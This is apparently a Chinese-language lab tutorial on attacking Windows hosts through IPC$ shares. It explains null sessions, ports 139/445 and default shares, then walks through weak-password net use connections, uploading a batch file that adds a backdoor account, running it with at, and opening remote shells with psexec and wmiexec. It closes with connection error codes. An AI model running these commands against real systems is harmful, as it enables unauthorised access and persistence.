0x01 ipc$的定义
IPC$(Internet Process Connection)是一种共享“命名管道”的资源,用于进程间的通信。通过验证用户名和密码,用户可以获得相应的权限。这种连接在远程管理和查看共享资源时非常有用。利用IPC$,可以建立一个空连接,即不需要用户名和密码的前提下与目标主机建立连接(前提是目标主机已启用IPC$共享)。通过空连接,可以获取目标主机的用户列表,尽管负责的管理员可能会禁止导出用户列表。
0x02 IPC$与空连接、139、445端口、默认共享的关系
IPC$与空连接:不需要用户名和密码的IPC$连接称为空连接。一旦以特定用户或管理员身份登录(即使用具体的用户名和密码进行IPC$连接),就不再是空连接。空连接虽然可以建立,但没有任何权限,而以用户或管理员身份登录则可以获得相应的权限。
IPC$与139、445端口:IPC$连接依赖于139或445端口。139端口用于NetBIOS协议,445端口(在Windows 2000及以上版本)用于共享文件和打印机的访问。因此,IPC$连接通常需要这些端口的支持。
IPC$与默认共享:默认共享是为方便管理员远程管理而默认开启的,包括所有逻辑盘(如C$、D$、E$等)和系统目录(如Winnt或Windows,标记为Admin$)。通过IPC$连接,可以访问这些默认共享,前提是目标主机未关闭这些共享。
0x03 IPC$入侵实战
- 实验环境:
攻击机:Win7 x64,IP:192.168.1.101
靶机:Win2003,IP:192.168.1.108
- 通过扫描器扫描IPC$弱口令连接:
推荐使用ntscan、溯雪、x-scan、porscan等扫描器。

- 通过net use 建立非空连接:
连接域backlion的IPC$:
net use \\192.168.1.108\c$ “12345@12345qw” /user:backlion\administrator net use \\192.168.1.108\c$ 123456 /user:administrator //建立的非空连接 net use \\192.168.1.108\c$ " 123456" /user:administrator //建立的非空连接 net use \\192.168.1.108\c$ "" /user:administrator //空连接,无密码

- 上传一个创建bk账号的批处理文件:
d:\user.bat 文件内容为:net user bk bk123 /add

注:也可以上传MSF生成的exe文件到靶机上执行,弹出shell以便更好操作。
- 通过copy命令将本地攻击机的批处理文件上传到目标靶机的C$上:
copy user.bat \\192.168.1.108\c$

注意:文件下载
copy \\192.168.1.108\c$\user.bat user.bat
- 查看目标靶机的时间:
net time \\192.168.1.108

- 通过at命令在特定时间执行批处理文件:
at \\192.168.1.108 12:13:00 c:\user.bat

- 在目标靶机上发现账号已成功添加执行:

- 其他命令:
将目标共享映射为Z盘:
net use z: \\192.168.1.108\c$

查看已建立的会话:
net use

删除会话连接:

- 通过psexec工具进行会话连接执行:
psexec.exe \\192.168.1.108 cmd //前提是需要建立一个空连接或者非空连接

psexec.exe \\192.168.1.108 cmd -u administrator -p 123456 //不需要建立空连接

然后就可以在目标靶机上任意执行命令:

csript.exe wmiexec.vbs /shell 192.168.1.108 administrator 123456

然后执行一些系统命令:

0x04 IPC$连接失败的原因
以下是常见的五个原因:
- 你的系统不是NT或以上操作系统。
- 对方没有打开IPC$默认共享。
- 对方未开启139或445端口(可能被防火墙屏蔽)。
- 你的命令输入有误(比如缺少了空格等)。
- 用户名或密码错误(空连接当然无所谓了)。
另外,可以根据返回的错误号分析原因:
- 错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限。
- 错误号51,Windows 无法找到网络路径:网络有问题。
- 错误号53,找不到网络路径:IP地址错误;目标未开机;目标LanmanServer服务未启动;目标有防火墙(端口过滤)。
- 错误号67,找不到网络名:你的LanmanWorkstation服务未启动;目标删除了IPC$。
- 错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个IPC$,请删除再连。
- 错误号1326,未知的用户名或错误密码:原因很明显了。
- 错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)
- 错误号2242,此用户的密码已经过期:目标有账号策略,强制定期要求更改密码。
关于IPC$连不上的问题比较复杂,除了以上的原因,还有其他一些不确定因素,在此无法详细而确定的说明,就靠大家自己体会和试验。
零基础Web渗透测试
内含内网渗透流程和思路
文章参考来源:backlion










